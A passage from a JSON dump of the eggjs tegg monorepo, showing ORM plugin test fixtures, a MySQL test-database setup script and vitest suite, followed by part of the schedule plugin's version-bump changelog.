    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/config/config.default.ts",
    "content": "export default (): any => {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n    orm: {\n      datasources: [\n        {\n          client: 'mysql2',\n          database: 'test',\n          host: '127.0.0.1',\n          port: 3306,\n          user: 'root',\n\n          delegate: 'model',\n          baseDir: 'model',\n          migrations: 'database',\n\n          define: {\n            underscored: true,\n          },\n        },\n        {\n          client: 'mysql2',\n          database: 'apple',\n          host: '127.0.0.1',\n          port: 3306,\n          user: 'root',\n\n          delegate: 'model',\n          baseDir: 'model',\n          migrations: 'database',\n\n          define: {\n            underscored: true,\n          },\n        },\n        {\n          client: 'mysql2',\n          database: 'banana',\n          host: '127.0.0.1',\n          port: 3306,\n          user: 'root',\n\n          delegate: 'model',\n          baseDir: 'model',\n          migrations: 'database',\n\n          define: {\n            underscored: true,\n          },\n        },\n      ],\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/orm-module\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggOrm: {\n    package: '@eggjs/orm-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/modules/orm-module/AppService.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\n\nimport { Orm } from '../../../../../../src/index.ts';\nimport { App } from './model/App.ts';\n\n@SingletonProto()\nexport class AppService {\n  @Inject()\n  App: typeof App;\n\n  @Inject()\n  private readonly orm: Orm;\n\n  async createApp(data: { name: string; desc: string }): Promise<App> {\n    const bone = await this.App.create(data);\n    return bone as App;\n  }\n\n  async findApp(name: string): Promise<App | null> {\n    const app = await this.App.findOne({ name });\n    return app as App;\n  }\n\n  async rawQuery(dataSource: string, sql: string, values?: any[]) {\n    return await this.orm.getClient(dataSource).query(sql, values);\n  }\n\n  async getClient(name: string) {\n    return this.orm.getClient(name);\n  }\n\n  async getDefaultClient() {\n    return this.orm.client;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/modules/orm-module/CtxService.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/tegg';\n\nimport { Pkg } from './model/Pkg.ts';\n\n@ContextProto()\nexport class CtxService {\n  @Inject()\n  Pkg: typeof Pkg;\n\n  async createCtxPkg(data: { name: string; desc: string }): Promise<Pkg> {\n    const bone = await this.Pkg.create(data as any);\n    return bone as Pkg;\n  }\n\n  async findCtxPkg(name: string): Promise<Pkg | null> {\n    const app = await this.Pkg.findOne({ name });\n    return app as Pkg;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/modules/orm-module/PkgService.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\n\nimport { Pkg } from './model/Pkg.ts';\n\n@SingletonProto()\nexport class PkgService {\n  @Inject()\n  Pkg: typeof Pkg;\n\n  async createPkg(data: { name: string; desc: string }): Promise<Pkg> {\n    const bone = await this.Pkg.create(data as any);\n    return bone as Pkg;\n  }\n\n  async findPkg(name: string): Promise<Pkg | null> {\n    const app = await this.Pkg.findOne({ name });\n    return app as Pkg;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/modules/orm-module/model/App.ts",
    "content": "import { Attribute, Model } from '@eggjs/orm-decorator';\nimport Realm from 'leoric';\n\nconst Bone = Realm.Bone;\nconst DataTypes = Realm.DataTypes;\n\n@Model({\n  dataSource: 'test',\n})\nexport class App extends Bone {\n  @Attribute(DataTypes.STRING)\n  name: string;\n  @Attribute(DataTypes.STRING)\n  desc: string;\n}\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/modules/orm-module/model/Pkg.ts",
    "content": "import { Attribute, Model } from '@eggjs/orm-decorator';\nimport Realm from 'leoric';\n\nconst Bone = Realm.Bone;\nconst DataTypes = Realm.DataTypes;\n\n@Model({\n  dataSource: 'test',\n})\nexport class Pkg extends Bone {\n  @Attribute(DataTypes.STRING)\n  name: string;\n  @Attribute(DataTypes.STRING)\n  desc: string;\n\n  static beforeCreate(instance: Pkg) {\n    instance.name += '_before_create_hook';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/modules/orm-module/package.json",
    "content": "{\n  \"name\": \"orm-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"ormModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/package.json",
    "content": "{\n  \"name\": \"orm-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/prepare.js",
    "content": "import mysql from 'mysql2';\n\nconst config = {\n  host: '127.0.0.1',\n  port: 3306,\n  password: '',\n  user: 'root',\n  database: '',\n};\n\nlet connection;\n\nfunction connect() {\n  connection = mysql.createConnection(config);\n  connection.connect();\n}\n\nasync function query(sql) {\n  return new Promise((resolve, reject) => {\n    console.log('prepare database: ', sql);\n    connection.query(sql, (err, res) => {\n      if (err) {\n        return reject(err);\n      }\n      return resolve(res);\n    });\n  });\n}\n\nasync function init() {\n  await query('DROP DATABASE IF EXISTS `test`;');\n  await query('CREATE DATABASE test;');\n  await query('DROP DATABASE IF EXISTS `apple`;');\n  await query('CREATE DATABASE apple;');\n  await query('DROP DATABASE IF EXISTS `banana`;');\n  await query('CREATE DATABASE banana;');\n  await query('use test;');\n  await query(\n    'CREATE TABLE `apps` (\\n' +\n      '  `id` bigint unsigned NOT NULL AUTO_INCREMENT,\\n' +\n      '  `name` varchar(100) NOT NULL,\\n' +\n      '  `desc` varchar(100) NOT NULL,\\n' +\n      '  PRIMARY KEY (`id`)\\n' +\n      ');',\n  );\n  await query(\n    'CREATE TABLE `pkgs` (\\n' +\n      '  `id` bigint unsigned NOT NULL AUTO_INCREMENT,\\n' +\n      '  `name` varchar(100) NOT NULL,\\n' +\n      '  `desc` varchar(100) NOT NULL,\\n' +\n      '  PRIMARY KEY (`id`)\\n' +\n      ');',\n  );\n}\n\n(async () => {\n  try {\n    connect();\n    await init();\n    console.log('prepare database done');\n    process.exit(0);\n  } catch (e) {\n    console.log(e);\n    process.exit(1);\n  }\n})();\n"
  },
  {
    "path": "tegg/plugin/orm/test/index.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport type { Context } from 'egg';\nimport Realm from 'leoric';\nimport { describe, it, afterEach, beforeEach, beforeAll, afterAll } from 'vitest';\n\nimport { AppService } from './fixtures/apps/orm-app/modules/orm-module/AppService.ts';\nimport { CtxService } from './fixtures/apps/orm-app/modules/orm-module/CtxService.ts';\nimport { App } from './fixtures/apps/orm-app/modules/orm-module/model/App.ts';\nimport { Pkg } from './fixtures/apps/orm-app/modules/orm-module/model/Pkg.ts';\nimport { PkgService } from './fixtures/apps/orm-app/modules/orm-module/PkgService.ts';\n\nfunction getFixtures(name: string) {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n\ndescribe('plugin/orm/test/orm.test.ts', () => {\n  let app: MockApplication;\n  let appService: AppService;\n\n  afterEach(async () => {\n    await Promise.all([Pkg.truncate(), App.truncate()]);\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/orm-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('bone should work', async () => {\n    const appService = await app.getEggObject(AppService);\n    const appModel = await appService.createApp({\n      name: 'egg',\n      desc: 'the framework',\n    });\n    assert(appModel);\n    assert.equal(appModel.name, 'egg');\n    assert.equal(appModel.desc, 'the framework');\n\n    const findModel = await appService.findApp('egg');\n    assert(findModel);\n    assert.equal(findModel.name, 'egg');\n    assert.equal(findModel.desc, 'the framework');\n  });\n\n  it('hook should work', async () => {\n    const pkgService = await app.getEggObject(PkgService);\n    const pkgModel = await pkgService.createPkg({\n      name: 'egg',\n      desc: 'the framework',\n    });\n    assert(pkgModel);\n    assert.equal(pkgModel.name, 'egg_before_create_hook');\n    assert.equal(pkgModel.desc, 'the framework');\n\n    const findModel = await pkgService.findPkg('egg_before_create_hook');\n    assert(findModel);\n    assert.equal(findModel.name, 'egg_before_create_hook');\n    assert.equal(findModel.desc, 'the framework');\n  });\n\n  it('ctx should inject with Model', async () => {\n    const appService = await app.getEggObject(AppService);\n    app.mockLog();\n    await appService.findApp('egg');\n    app.expectLog(/sql: SELECT \\* FROM `apps` WHERE `name` = 'egg' LIMIT 1/);\n    // Model.ctx should be undefined in Singleton Service\n    app.expectLog(/path: undefined/);\n  });\n\n  it('singleton ORM client', async () => {\n    appService = await app.getEggObject(AppService);\n\n    describe('raw query', () => {\n      beforeAll(async () => {\n        const appModel = await appService.createApp({\n          name: 'egg',\n          desc: 'the framework',\n        });\n        assert(appModel);\n        assert.equal(appModel.name, 'egg');\n        assert.equal(appModel.desc, 'the framework');\n      });\n\n      it('query success', async () => {\n        const res = await appService.rawQuery('test', 'select * from apps where name = \"egg\"');\n        assert.equal(res.rows.length, 1);\n        assert.equal(res.rows[0].name, 'egg');\n      });\n\n      it('query success for args', async () => {\n        const res = await appService.rawQuery('test', 'select * from apps where name = ?', ['egg']);\n        assert.equal(res.rows.length, 1);\n        assert.equal(res.rows[0].name, 'egg');\n      });\n    });\n\n    describe('multi db', () => {\n      it('should work for multi database', async () => {\n        const appleClient = await appService.getClient('apple');\n        const bananaClient = await appService.getClient('banana');\n        assert.equal(appleClient.options.database, 'apple');\n        assert.equal(appleClient.options.database, 'apple');\n        assert.equal(bananaClient.options.database, 'banana');\n        assert.equal(bananaClient.options.database, 'banana');\n      });\n\n      it('should throw when invalid database', async () => {\n        await assert.rejects(async () => {\n          await appService.getClient('orange');\n        }, /not found orange datasource/);\n      });\n\n      it('should return undefined when get default client', async () => {\n        const defaultClient = await appService.getDefaultClient();\n        assert.equal(defaultClient, undefined);\n      });\n    });\n  });\n\n  describe('context proto', () => {\n    let ctx: Context;\n    let ctxService: CtxService;\n    beforeEach(async () => {\n      ctx = await app.mockModuleContext();\n      ctxService = await ctx.getEggObject(CtxService);\n    });\n    afterEach(async () => {\n      await app.destroyModuleContext(ctx);\n    });\n\n    it('should work for ContextProto service', async () => {\n      const ctxPkg = await ctxService.createCtxPkg({\n        name: 'egg',\n        desc: 'the framework',\n      });\n      assert.equal(ctxPkg.name, 'egg_before_create_hook');\n    });\n\n    it('should query work', async () => {\n      app.mockLog();\n      await ctxService.createCtxPkg({\n        name: 'egg',\n        desc: 'the framework',\n      });\n      const ctxPkg = await ctxService.findCtxPkg('egg_before_create_hook');\n      assert(ctxPkg);\n      assert.equal(ctxPkg.name, 'egg_before_create_hook');\n      app.expectLog(/sql: SELECT \\* FROM `pkgs` WHERE `name` = 'egg_before_create_hook' LIMIT 1 path: \\//);\n    });\n\n    it('should tracer ctx set', async () => {\n      let ctx: Context;\n      await app.leoricRegister.ready();\n      for (const realm of app.leoricRegister.realmMap.values()) {\n        // @ts-expect-error: the library definition is wrong\n        realm.driver.logger = new Realm.Logger({\n          // eslint-disable-next-line no-loop-func\n          logQuery(_: any, __: any, options: { Model: { ctx: any } }) {\n            if (options.Model) {\n              ctx = options.Model.ctx;\n            }\n          },\n        });\n      }\n      await ctxService.createCtxPkg({\n        name: 'egg',\n        desc: 'the framework',\n      });\n\n      assert.equal(ctx!.originalUrl, '/');\n      assert(ctx!.tracer);\n      // @ts-expect-error: no type definition\n      assert(ctx!.tracer.traceId);\n      // assert.equal(ctx!.tracer.traceId, '1234567890');\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/orm/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"compilerOptions\": {\n    // legacy target for leoric, let unittest can work\n    \"target\": \"ES2021\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/tsconfig.typecheck.json",
    "content": "{\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"target\": \"ES2022\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/schedule/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n\n### Bug Fixes\n\n* convert fileURL to normal path ([#294](https://github.com/eggjs/tegg/issues/294)) ([34c1b64](https://github.com/eggjs/tegg/commit/34c1b645d368a712ae255c06bd1bc2d09780e095))\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n\n### Features\n\n* @Middleware support Advice ([#231](https://github.com/eggjs/tegg/issues/231)) ([613a89d](https://github.com/eggjs/tegg/commit/613a89da7ea6dd70d50e34aa9f4152358a622625))\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.26.0](https://github.com/eggjs/tegg/compare/v3.25.2...v3.26.0) (2023-11-17)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-plugin\n\n\n\n\n\n## [3.6.2](https://github.com/eggjs/tegg/compare/v3.6.1...v3.6.2) (2023-02-16)\n\n**Note:** Version bump only for package 